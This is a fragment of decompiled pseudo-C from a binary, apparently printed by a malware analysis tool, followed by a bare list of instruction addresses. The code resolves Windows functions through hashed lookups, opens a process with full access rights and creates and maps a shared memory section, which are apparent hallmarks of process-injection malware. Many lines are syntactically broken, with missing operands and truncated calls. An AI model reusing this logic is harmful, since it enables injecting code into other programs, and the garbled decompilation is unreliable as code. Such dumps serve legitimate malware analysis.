				E6ED61C80(__ecx,  &_v72, _t800, __edx, _t831, _v48);
				E6ED50B10( &_v56);
				if(E6ED61F90(_t595,  &_v80, _t831, 0) != 0) {
					_push(0);
					E6ED59350( &_v168);
					_push(0);
					E6ED59350( &_v156);
					_push(0);
					E6ED59350( &_v144);
					__eflags = _t595;
					_t11 = _t595 + 0xc; // 0xc
					_t612 =  ==  ? _t595 : _t11;
					_t313 = E6ED5BEA0( ==  ? _t595 : _t11, 0x1d, _t812);
					__eflags = _t313;
					if(_t313 != 0) {
						_push(0x1fffff);
						E6ED5EA50(_t595);
					}
					__eflags = _t595;
					_t12 = _t595 + 0xc; // 0xc
					_t802 =  ==  ? _t595 : _t12;
					_push(0);
					_push(0);
					_t803 =  *( ==  ? _t595 : _t12);
					E6ED62060(_t595,  &_v228, _t803, _t812);
					 *(_t833 + 0xa78) = 0;
					asm("pxor xmm0, xmm0");
					_v128 = 1;
					asm("movq [esp+0xa90], xmm0");
					 *((intOrPtr*)(_t833 + 0xa90)) = E6ED59650(_t812);
					_t317 = E6ED415C0(0x588ab3ea, 0xa65417fb);
					__eflags = _t317;
					if(_t317 == 0) {
						 *(_t833 + 0x40) = 0;
						E6ED5BDC0(_t833 + 0xa7c,  *((intOrPtr*)(_t833 + 0xa8c)));
						__eflags =  *(_t833 + 0x40);
						if( *(_t833 + 0x40) == 0) {
							_v124 = 0;
							_v136 = 0;
							_v140 = 0;
							 *((intOrPtr*)(_t833 + 0xa84)) = 0;
							_t782 = E6ED415C0(0x588ab3ea, 0x9cac62c7);
							__eflags = _t782;
							if(_t782 != 0) {
								 *(_t833 + 0x40) =  *(_t833 + 0xa78);
								 *(_t833 + 0x44) = _t782;
								_t322 = E6ED59650(_t812);
								_t783 =  *(_t833 + 0x44);
								 *(_t833 + 0x50) = _t803;
								_t803 =  *(_t833 + 0x78);
								_t325 =  *( *(_t833 + 0x44))( *((intOrPtr*)(_t833 + 0x64)), 0xffffffff, _t833 + 0xaa0, 0, _t322,  &_v140,  &_v124, 2, 0, 4);
								__eflags = _t325;
								if(_t325 == 0) {
									goto L11;
								} else {
									__eflags = _v168;
									if(_v168 != 0) {
										goto L53;
									}
									goto L54;
								}
							} else {
								L11:
								 *(_t833 + 0x40) = E6ED59640(_t812, 0);
								E6ED40C10(_v164,  *(_t833 + 0x44), E6ED59650(_t812));
								_t833 = _t833 + 0xc;
								_t329 = E6ED415C0(0x588ab3ea, 0xa8f2638d);
								__eflags = _t329;
								if(_t329 == 0) {
									 *(_t833 + 0x4bc) = 0;
									_t620 = E6ED415C0(0x588ab3ea, 0xea812079);
									__eflags = _t620;
									if(_t620 == 0) {
										L17:
										_v140 =  *(_t833 + 0x4bc);
										_t621 = E6ED415C0(0x588ab3ea, 0xea812079);
										__eflags = _t621;
										if(_t621 == 0) {
											L26:
											_v136 =  *(_t833 + 0x4bc);
											__eflags = _v168;
											if(_v168 != 0) {
												E6ED5BE30( &_v172, _t812);
											}
											__eflags = E6ED5ED90(_t595) - 0x20;
											_push(0);
											_t336 =  ==  ? 0x6ed68600 : 0x6ed68c40;
											_push( ==  ? 0x6ed68600 : 0x6ed68c40);
											E6ED41BA0(E6ED5ED90(_t595) - 0x20, _t833 + 0xac0);
											E6ED59B10( &_v240);
											E6ED50B10( &_v124);
											E6ED59670( &_v228, E6ED59A90( &_v244, _t812));
											 *(_t833 + 0x40) = E6ED59640( &_v248, 0);
											E6ED3AC20(_t827,  *(_t833 + 0x44), E6ED59640( &_v236, 0),  *((intOrPtr*)(_t833 + 0xab8)));
											_t834 = _t833 + 8;
											_t345 = E6ED5ED90(_t595);
											__eflags = _t345 - 0x20;
											if(_t345 == 0x20) {
												E6ED40B70(_t834 + 0x40, 0, 0x47c);
												_t835 = _t834 + 0xc;
												 *((intOrPtr*)(_t835 + 0x44c)) = E6ED59650(_t812);
												 *((intOrPtr*)(_t835 + 0x444)) = 0x56473829;
												 *((intOrPtr*)(_t835 + 0x46c)) = E6ED415C0(0x588ab3ea, 0x9cac62c7);
												 *((intOrPtr*)(_t835 + 0x470)) = E6ED415C0(0x588ab3ea, 0xa8f2638d);
												 *((intOrPtr*)(_t835 + 0x474)) = E6ED415C0(0x588ab3ea, 0xd8cc7390);
												 *((intOrPtr*)(_t835 + 0x478)) = E6ED415C0(0x588ab3ea, 0xd16c9225);
												 *((intOrPtr*)(_t835 + 0x47c)) = E6ED415C0(0x588ab3ea, 0x649746ec);
												 *((intOrPtr*)(_t835 + 0x480)) = E6ED415C0(0x588ab3ea, 0xe5ef1afa);
												 *((intOrPtr*)(_t835 + 0x484)) = E6ED415C0(0x588ab3ea, 0x58d59bc9);
												 *((intOrPtr*)(_t835 + 0x488)) = E6ED415C0(0x588ab3ea, 0x35b39b2b);
												 *((intOrPtr*)(_t835 + 0x48c)) = E6ED415C0(0x588ab3ea, 0xe9fbf3a8);
												 *((intOrPtr*)(_t835 + 0x490)) = E6ED415C0(0x588ab3ea, 0xbcd9ca71);
												 *((intOrPtr*)(_t835 + 0x494)) = E6ED415C0(0x588ab3ea, 0x4faea65b);
												 *((intOrPtr*)(_t835 + 0x498)) = E6ED415C0(0x588ab3ea, 0xc0b67de0);
												 *((intOrPtr*)(_t835 + 0x49c)) = E6ED415C0(0x588ab3ea, 0x996e050f);
												 *((intOrPtr*)(_t835 + 0x4a0)) = E6ED415C0(0x588ab3ea, 0x81c9e4a7);
												 *((intOrPtr*)(_t835 + 0x4a4)) = E6ED415C0(0x588ab3ea, 0x97abe05f);
												_v1800 = E6ED415C0(0x588ab3ea, 0x82d274c4);
												_v1804 = E6ED415C0(0xa1310f65, 0x77be1f6);
												_v1808 = E6ED415C0(0xa1310f65, 0xe2d27ff4);
												_v1812 = E6ED415C0(0xa1310f65, 0x69121530);
												_t368 = E6ED415C0(0xa1310f65, 0xf1c64384);
												 *((intOrPtr*)(_t835 + 0x464)) = _v308;
												_v1816 = _t368;
												 *((intOrPtr*)(_t835 + 0x468)) =  *((intOrPtr*)(_t835 + 0xa98));
												E6ED59710( &_v368,  &_v2960, 0x47c);
												_push(_t835 + 0xa60);
												_push(0x4bc);
												_t785 =  &_v392;
												_t370 = E6ED3E900(_t595,  &_v392);
											} else {
												E6ED40B70(_t834 + 0x4c0, 0, 0x4f0);
												_t838 = _t834 + 0xc;
												_v608 = E6ED59650(_t812);
												 *((intOrPtr*)( &_v384 - 0xe8)) = 0x56473829;
												_push(0);
												E6ED59350( &_v384);
												 *((intOrPtr*)(_t838 + 0x40)) = 0x3b4caff7;
												asm("pxor xmm0, xmm0");
												asm("movq [esp+0x48], xmm0");
												E6ED59670( &_v388, E6ED59650( &_v388) + 0x10);
												E6ED59640( &_v392, E6ED59650( &_v392) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x9cac62c7;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v396, E6ED59650( &_v396) + 0x10);
												E6ED59640( &_v400, E6ED59650( &_v400) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2820 = 0xa8f2638d;
												asm("movq [esp+0x48], xmm1");
												E6ED59670(_t838 + 0x9b4, E6ED59650(_t838 + 0x9b0) + 0x10);
												E6ED59640( &_v408, E6ED59650( &_v408) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xd8cc7390;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v412, E6ED59650( &_v412) + 0x10);
												E6ED59640( &_v416, E6ED59650( &_v416) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xd16c9225;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v420, E6ED59650( &_v420) + 0x10);
												E6ED59640(_t838 + 0x9b4, E6ED59650(_t838 + 0x9b0) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x649746ec;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v428, E6ED59650( &_v428) + 0x10);
												E6ED59640( &_v432, E6ED59650( &_v432) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xe5ef1afa;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v436, E6ED59650( &_v436) + 0x10);
												E6ED59640(_t838 + 0x9b4, E6ED59650(_t838 + 0x9b0) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2860 = 0x58d59bc9;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v444, E6ED59650( &_v444) + 0x10);
												E6ED59640( &_v448, E6ED59650( &_v448) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2868 = 0x35b39b2b;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v452, E6ED59650( &_v452) + 0x10);
												E6ED59640( &_v456, E6ED59650( &_v456) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2876 = 0xe9fbf3a8;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v460, E6ED59650( &_v460) + 0x10);
												E6ED59640( &_v464, E6ED59650( &_v464) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2884 = 0xbcd9ca71;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v468, E6ED59650( &_v468) + 0x10);
												E6ED59640( &_v472, E6ED59650( &_v472) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x4faea65b;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v476, E6ED59650( &_v476) + 0x10);
												E6ED59640( &_v480, E6ED59650( &_v480) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0xc0b67de0;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v484, E6ED59650( &_v484) + 0x10);
												E6ED59640( &_v488, E6ED59650( &_v488) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2908 = 0x996e050f;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v492, E6ED59650( &_v492) + 0x10);
												E6ED59640( &_v496, E6ED59650( &_v496) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												_v2916 = 0x81c9e4a7;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v500, E6ED59650( &_v500) + 0x10);
												E6ED59640( &_v504, E6ED59650( &_v504) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x97abe05f;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v508, E6ED59650( &_v508) + 0x10);
												E6ED59640( &_v512, E6ED59650( &_v512) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("pxor xmm1, xmm1");
												asm("movups [eax], xmm0");
												 *((intOrPtr*)(_t838 + 0x40)) = 0x82d274c4;
												asm("movq [esp+0x48], xmm1");
												E6ED59670( &_v516, E6ED59650( &_v516) + 0x10);
												__eflags = E6ED59650( &_v520) + 0xfffffff0;
												E6ED59640( &_v520, E6ED59650( &_v520) + 0xfffffff0);
												asm("movups xmm0, [esp+0x40]");
												asm("movups [eax], xmm0");
												E6ED61270(0x588ab3ea,  &_v524);
												E6ED59640( &_v524, 0x10);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x910], xmm0");
												E6ED59640( &_v528, 0x20);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x918], xmm0");
												E6ED59640( &_v532, 0x30);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x920], xmm0");
												E6ED59640( &_v536, 0x40);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x928], xmm0");
												E6ED59640( &_v540, 0x50);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x930], xmm0");
												E6ED59640( &_v544, 0x60);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x938], xmm0");
												E6ED59640( &_v548, 0x70);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x940], xmm0");
												E6ED59640( &_v552, 0x80);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x948], xmm0");
												E6ED59640( &_v556, 0x90);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x950], xmm0");
												E6ED59640( &_v560, 0xa0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x958], xmm0");
												E6ED59640( &_v564, 0xb0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x960], xmm0");
												E6ED59640( &_v568, 0xc0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x968], xmm0");
												E6ED59640( &_v572, 0xd0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x970], xmm0");
												E6ED59640( &_v576, 0xe0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x978], xmm0");
												E6ED59640( &_v580, 0xf0);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x980], xmm0");
												E6ED59640( &_v584, 0x100);
												asm("movq xmm0, [eax+0x8]");
												asm("movq [esp+0x988], xmm0");
												E6ED59640( &_v588, 0);
												asm("movq xmm0, [eax+0x8]");
												_t819 =  &_v544;
												asm("movdqu [esp+0x60], xmm0");
												E6ED40B70( &_v544, 0, 0x30);
												_t835 = _t838 + 0xc;
												asm("movd xmm4, edi");
												asm("cdq");
												asm("pxor xmm0, xmm0");
												asm("movdqu [eax-0x950], xmm0");
												_v2992 = _t803;
												asm("movd xmm1, edx");
												asm("cdq");
												asm("movd xmm3, eax");
												asm("punpckldq xmm4, xmm1");
												asm("movd xmm2, edx");
												asm("punpckldq xmm3, xmm2");
												asm("movdqu [esp+0x70], xmm3");
												asm("movdqu [eax-0x960], xmm4");
												_v2988 = _t595;
												do {
													asm("movdqu xmm0, [esp+0x60]");
													asm("movq [esp], xmm0");
													asm("pxor xmm5, xmm5");
													_v2860 = 6;
													asm("movdqu xmm1, [esp+0x80]");
													asm("movq [esp+0xc], xmm1");
													asm("movdqu xmm2, [esp+0x90]");
													asm("movq [esp+0x14], xmm2");
													asm("movq [esp+0x1c], xmm5");
													asm("movdqu xmm3, [esp+0x70]");
													asm("movq xmm4, [0x6ed693d8]");
													asm("movq [esp+0x24], xmm3");
													asm("movq [esp+0x2c], xmm4");
													asm("movq [esp+0x34], xmm5");
													_t599 = E6ED604B0(_t803, _t819);
													_t803 =  *(_t835 + 0x9e0);
													_t819 =  *((intOrPtr*)(_t835 + 0x9e4));
													asm("movq xmm0, [esp+0x9f8]");
													__eflags =  ~( *(_t835 + 0x9e8)) + _t803 |  ~_v328 + _t819;
													asm("movdqu xmm1, [esp+0x90]");
													asm("paddq xmm1, xmm0");
													asm("movdqu [esp+0x90], xmm1");
													if(( ~( *(_t835 + 0x9e8)) + _t803 |  ~_v328 + _t819) != 0) {
														goto L35;
													} else {
														_push(0x400);
														E6ED59350( &_v356);
														 *(_t835 + 0x5c) = E6ED59640(_t835 + 0x9d4, 0);
														 *((intOrPtr*)(_t835 + 0x58)) = E6ED59640(_t835 + 0x9d4, 0);
														E6ED59650( &_v368);
														asm("movdqu xmm0, [esp+0x60]");
														asm("movd xmm6, ecx");
														asm("movq [esp], xmm0");
														_v2872 = 6;
														asm("pxor xmm7, xmm7");
														asm("movdqu xmm1, [esp+0x80]");
														asm("movq xmm2, [0x6ed693d0]");
														asm("movq [esp+0xc], xmm1");
														_v2860 = _t803;
														 *((intOrPtr*)(_t835 + 0x18)) = _t819;
														asm("movq [esp+0x1c], xmm2");
														asm("cdq");
														asm("movd xmm4, eax");
														asm("movd xmm3, edx");
														asm("cdq");
														asm("punpckldq xmm4, xmm3");
														asm("movq [esp+0x24], xmm4");
														asm("movd xmm5, edx");
														asm("punpckldq xmm6, xmm5");
														asm("movq [esp+0x2c], xmm6");
														asm("movq [esp+0x34], xmm7");
														_t562 = E6ED604B0(_t803, _t819);
														__eflags = _t562;
														if(_t562 != 0) {
															L56:
															E6ED59510(_t835 + 0x9d0);
															_t803 = 0xe5ab9b45;
														} else {
															__eflags =  *( *(_t835 + 0x5c)) & 0x0000ffff;
															if(__eflags == 0) {
																goto L56;
															} else {
																E6ED483B0(_t835 + 0xa28);
																_t819 = _t835 + 0xa30;
																E6ED52E60(_t835 + 0xa30, __eflags, _t835 + 0xa30, 0x5c);
																E6ED51020(_t835 + 0xa30, _t835 + 0xa38);
																_t571 = E6ED5D620( *((intOrPtr*)(_t835 + 0xa38)), E6ED56040( *((intOrPtr*)(_t835 + 0xa38)), 0x7fffffff));
																E6ED50B10(_t835 + 0xa38);
																E6ED50B10(_t835 + 0xa30);
																E6ED50B10(_t835 + 0xa28);
																E6ED59510( &_v372);
																_t803 = _t571 ^ 0x38ba5c7b;
																__eflags = _t803;
															}
														}
														__eflags = _t803 - 0xa1310f65;
														if(__eflags == 0) {
															_t803 =  *(_t835 + 0x50);
															_t595 =  *(_t835 + 0x54);
															_t820 =  *(_t835 + 0x9e0);
															 *((intOrPtr*)(_t835 + 0x58)) =  *((intOrPtr*)(_t835 + 0x9e4));
														} else {
															goto L35;
														}
													}
													L37:
													E6ED3DE60( &_v372, _t803, __eflags, _t820,  *((intOrPtr*)(_t835 + 0x58)));
													E6ED5A110( &_v396);
													 *((intOrPtr*)(_t835 + 0x40)) = 0xe2d27ff4;
													asm("pxor xmm0, xmm0");
													asm("movq [esp+0x48], xmm0");
													E6ED59670( &_v396, E6ED59650( &_v396) + 0x10);
													E6ED59640( &_v400, E6ED59650( &_v400) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													asm("pxor xmm1, xmm1");
													asm("movups [eax], xmm0");
													_v2820 = 0x69121530;
													asm("movq [esp+0x48], xmm1");
													E6ED59670(_t835 + 0x9b4, E6ED59650(_t835 + 0x9b0) + 0x10);
													E6ED59640( &_v408, E6ED59650( &_v408) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													asm("pxor xmm1, xmm1");
													asm("movups [eax], xmm0");
													 *((intOrPtr*)(_t835 + 0x40)) = 0x77be1f6;
													asm("movq [esp+0x48], xmm1");
													E6ED59670( &_v412, E6ED59650( &_v412) + 0x10);
													E6ED59640( &_v416, E6ED59650( &_v416) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													asm("pxor xmm1, xmm1");
													asm("movups [eax], xmm0");
													 *((intOrPtr*)(_t835 + 0x40)) = 0xf1c64384;
													asm("movq [esp+0x48], xmm1");
													E6ED59670( &_v420, E6ED59650( &_v420) + 0x10);
													__eflags = E6ED59650(_t835 + 0x9b0) + 0xfffffff0;
													E6ED59640(_t835 + 0x9b4, E6ED59650(_t835 + 0x9b0) + 0xfffffff0);
													asm("movups xmm0, [esp+0x40]");
													_push( &_v428);
													_push(_v2820);
													_push(_t820);
													asm("movups [edx], xmm0");
													E6ED3E780( &_v412, _t820, __eflags);
													E6ED59640(_t835 + 0x9b4, 0);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [esp+0x998], xmm0");
													E6ED59640( &_v444, 0x10);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [esp+0x9a0], xmm0");
													E6ED59640( &_v448, 0x20);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [esp+0x990], xmm0");
													E6ED59640( &_v452, 0x30);
													asm("movq xmm0, [eax+0x8]");
													asm("movq [ecx-0x18], xmm0");
													E6ED59510(_t835 + 0x9c0);
													E6ED59510( &_v456);
													asm("cdq");
													asm("movd xmm1, eax");
													asm("movd xmm0, edx");
													asm("cdq");
													asm("movd xmm3, eax");
													asm("punpckldq xmm1, xmm0");
													asm("movq [esp+0x900], xmm1");
													asm("movd xmm2, edx");
													asm("punpckldq xmm3, xmm2");
													asm("movq [esp+0x908], xmm3");
													E6ED59710( &_v280, _t835 + 0x4c4, 0x4f0);
													_t785 = _t835 + 0xa58;
													_t370 = E6ED3ACD0(_t595, _t835 + 0xa58, __eflags, 0x5c8,  &_v288);
													goto L38;
													L35:
													__eflags = _t599;
												} while (_t599 == 0);
												_t820 = 0;
												__eflags = 0;
												_t803 =  *(_t835 + 0x50);
												_t595 =  *(_t835 + 0x54);
												 *((intOrPtr*)(_t835 + 0x58)) = 0;
												goto L37;
											}
											L38:
											_t817 = _t370;
											__eflags = _t817;
											if(_t817 != 0) {
												__eflags = _t595;
												_push(0);
												_t597 =  !=  ? _t595 + 0xc : _t595;
												_push( !=  ? _t595 + 0xc : _t595);
												_t387 = E6ED61A80(_t785, _t595,  &_v296, 0x2710);
												_t835 = _t835 + 0x10;
												_t595 = 0;
												__eflags = _t387;
												_t817 =  !=  ? 0 : _t817;
											}
											__eflags = _v160;
											if(_v160 == 0) {
												L45:
												__eflags = _v156;
												if(_v156 == 0) {
													L50:
													E6ED62530(_t595,  &_v296, _t785, _t803, _t817);
													E6ED59510( &_v216);
													E6ED59510(_t835 + 0xa50);
													E6ED59510( &_v248);
													E6ED61F40( &_v152, _t785, _t817);
													return _t817;
												} else {
													_t785 = E6ED415C0(0x588ab3ea, 0xea812079);
													__eflags = _t785;
													if(_t785 != 0) {
														_t595 = 0;
														__eflags = 0;
														 *_t785(_t803, _v156, 0xffffffff,  &_v176, 0, 0, 1);
													}
													_t379 = E6ED415C0(0x588ab3ea, 0x35b39b2b);
													__eflags = _t379;
													if(_t379 == 0) {
														goto L50;
													} else {
														_push(_v176);
														asm("int3");
														return _t379;
													}
												}
											} else {
												_t785 = E6ED415C0(0x588ab3ea, 0xea812079);
												__eflags = _t785;
												if(_t785 != 0) {
													_t595 = 0;
													__eflags = 0;
													 *_t785(_t803, _v160, 0xffffffff,  &_v176, 0, 0, 1);
												}
												_t383 = E6ED415C0(0x588ab3ea, 0x35b39b2b);
												__eflags = _t383;
												if(_t383 == 0) {
													goto L45;
												} else {
													_push(_v176);
													asm("int3");
													return _t383;
												}
											}
										} else {
											_t783 = _t833 + 0x4bc;
											 *_t621(0xffffffff, _v276, _t803, _t833 + 0x4bc, 0, 0, 2);
											__eflags = 0;
											if(0 == 0) {
												goto L26;
											} else {
												__eflags = _v196;
												if(_v196 != 0) {
													E6ED5BE30(_t833 + 0xa78, _t812);
												}
												__eflags = _v168;
												if(_v168 == 0) {
													goto L54;
												} else {
													_t585 = E6ED415C0(0x588ab3ea, 0xea812079);
													__eflags = _t585;
													if(_t585 == 0) {
														_t586 = E6ED415C0(0x588ab3ea, 0x35b39b2b);
														__eflags = _t586;
														if(_t586 == 0) {
															goto L54;
														} else {
															_push( *(_t833 + 0x40));
															asm("int3");
															return _t586;
														}
													} else {
														__eflags = 0;
														_push(1);
														_push(0);
														_push(0);
														_push(_t833 + 0x40);
														_push(0xffffffff);
														_push(_v168);
														_push(_t803);
														asm("int3");
														return _t585;
													}
												}
											}
										}
									} else {
										_t783 = _t833 + 0x4bc;
										 *_t620(0xffffffff, _v172, _t803, _t833 + 0x4bc, 0, 0, 2);
										__eflags = 0;
										if(0 == 0) {
											goto L17;
										} else {
											__eflags = _v196;
											if(_v196 != 0) {
												goto L53;
											} else {
											}
											goto L54;
										}
									}
								} else {
									_push(_v160);
									_push(0xffffffff);
									asm("int3");
									return _t329;
								}
							}
						} else {
							__eflags = _v128;
							if(_v128 != 0) {
								L53:
								E6ED5BE30(_t833 + 0xa78, _t812);
							} else {
							}
							L54:
							E6ED62530(_t595, _t833 + 0xa10, _t783, _t803, _t812);
							E6ED59510( &_v224);
							E6ED59510( &_v240);
							E6ED59510(_t833 + 0xa40);
							E6ED61F40( &_v160, _t783, _t812);
							__eflags = 0;
							return 0;
						}
					} else {
						__eflags = 0;
						_push(0);
						_push(0x8000000);
						_push(4);
						_push(_t833 + 0xa90);
						_push(0);
						_push(0xf001f);
						_push(_t833 + 0xaa4);
						asm("int3");
						return _t317;
					}
				} else {
					E6ED61F40( &_v72, 0x1d, _t812);
					return 1;
				}
			}

0x6ed31571
0x6ed31577
0x6ed31579
0x6ed3157f
0x6ed31581
0x6ed31592
0x6ed31597
0x6ed315a7
0x6ed315b3
0x6ed315c8
0x6ed315e8
0x6ed315f1
0x6ed315f6
0x6ed315ff
0x6ed31604
0x6ed3160d
0x6ed31612
0x6ed31614
0x6ed31617
0x6ed3161a
0x6ed3161f
0x6ed31621
0x6ed31625
0x6ed3162a
0x6ed3162a
0x6ed3162f
0x6ed31631
0x6ed31634
0x6ed31639
0x6ed3163a
0x6ed31642
0x6ed31644
0x6ed31649
0x6ed31654
0x6ed31658
0x6ed31660
0x6ed31670
0x6ed31681
0x6ed31686
0x6ed31688
0x6ed316b2
0x6ed316c8
0x6ed316cd
0x6ed316d2
0x6ed316e9
0x6ed316f0
0x6ed316f7
0x6ed316fe
0x6ed31714
0x6ed31716
0x6ed31718
0x6ed326f9
0x6ed326fd
0x6ed32701
0x6ed32706
0x6ed3270c
0x6ed32737
0x6ed3273b
0x6ed3273d
0x6ed3273f
0x00000000
0x6ed32745
0x6ed32745
0x6ed3274d
0x00000000
0x00000000
0x00000000
0x6ed3274d
0x6ed3171e
0x6ed3171e
0x6ed31727
0x6ed3173e
0x6ed31743
0x6ed31750
0x6ed31755
0x6ed31757
0x6ed31764
0x6ed3177e
0x6ed31780
0x6ed31782
0x6ed317b5
0x6ed317bc
0x6ed317d2
0x6ed317d4
0x6ed317d6
0x6ed3186a
0x6ed31871
0x6ed31878
0x6ed31880
0x6ed31889
0x6ed31889
0x6ed31895
0x6ed318a2
0x6ed318a4
0x6ed318a7
0x6ed318b0
0x6ed318c3
0x6ed318cf
0x6ed318e8
0x6ed318fb
0x6ed31912
0x6ed31917
0x6ed3191c
0x6ed31921
0x6ed31924
0x6ed327e7
0x6ed327ec
0x6ed327f6
0x6ed327fd
0x6ed32817
0x6ed3282d
0x6ed32843
0x6ed32859
0x6ed3286f
0x6ed32885
0x6ed3289b
0x6ed328b1
0x6ed328c7
0x6ed328dd
0x6ed328f3
0x6ed32909
0x6ed3291f
0x6ed32935
0x6ed3294b
0x6ed32961
0x6ed32977
0x6ed3298d
0x6ed329a3
0x6ed329b4
0x6ed329c0
0x6ed329ce
0x6ed329d5
0x6ed329ed
0x6ed329fb
0x6ed329fc
0x6ed32a01
0x6ed32a08
0x6ed3192a
0x6ed31939
0x6ed3193e
0x6ed31948
0x6ed31956
0x6ed31960
0x6ed31962
0x6ed31967
0x6ed31976
0x6ed3197a
0x6ed31990
0x6ed319ac
0x6ed319b1
0x6ed319bd
0x6ed319c1
0x6ed319c4
0x6ed319cc
0x6ed319e2
0x6ed319fe
0x6ed31a03
0x6ed31a0f
0x6ed31a13
0x6ed31a16
0x6ed31a1e
0x6ed31a34
0x6ed31a50
0x6ed31a55
0x6ed31a61
0x6ed31a65
0x6ed31a68
0x6ed31a70
0x6ed31a86
0x6ed31aa2
0x6ed31aa7
0x6ed31ab3
0x6ed31ab7
0x6ed31aba
0x6ed31ac2
0x6ed31ad8
0x6ed31af4
0x6ed31af9
0x6ed31b05
0x6ed31b09
0x6ed31b0c
0x6ed31b14
0x6ed31b2a
0x6ed31b46
0x6ed31b4b
0x6ed31b57
0x6ed31b5b
0x6ed31b5e
0x6ed31b66
0x6ed31b7c
0x6ed31b98
0x6ed31b9d
0x6ed31ba9
0x6ed31bad
0x6ed31bb0
0x6ed31bb8
0x6ed31bce
0x6ed31bea
0x6ed31bef
0x6ed31bfb
0x6ed31bff
0x6ed31c02
0x6ed31c0a
0x6ed31c20
0x6ed31c3c
0x6ed31c41
0x6ed31c4d
0x6ed31c51
0x6ed31c54
0x6ed31c5c
0x6ed31c72
0x6ed31c8e
0x6ed31c93
0x6ed31c9f
0x6ed31ca3
0x6ed31ca6
0x6ed31cae
0x6ed31cc4
0x6ed31ce0
0x6ed31ce5
0x6ed31cf1
0x6ed31cf5
0x6ed31cf8
0x6ed31d00
0x6ed31d16
0x6ed31d32
0x6ed31d37
0x6ed31d43
0x6ed31d47
0x6ed31d4a
0x6ed31d52
0x6ed31d68
0x6ed31d84
0x6ed31d89
0x6ed31d95
0x6ed31d99
0x6ed31d9c
0x6ed31da4
0x6ed31dba
0x6ed31dd6
0x6ed31ddb
0x6ed31de7
0x6ed31deb
0x6ed31dee
0x6ed31df6
0x6ed31e0c
0x6ed31e28
0x6ed31e2d
0x6ed31e39
0x6ed31e3d
0x6ed31e40
0x6ed31e48
0x6ed31e5e
0x6ed31e7a
0x6ed31e7f
0x6ed31e8b
0x6ed31e8f
0x6ed31e92
0x6ed31e9a
0x6ed31eb0
0x6ed31ec1
0x6ed31ecc
0x6ed31ed1
0x6ed31ee2
0x6ed31ee5
0x6ed31ef3
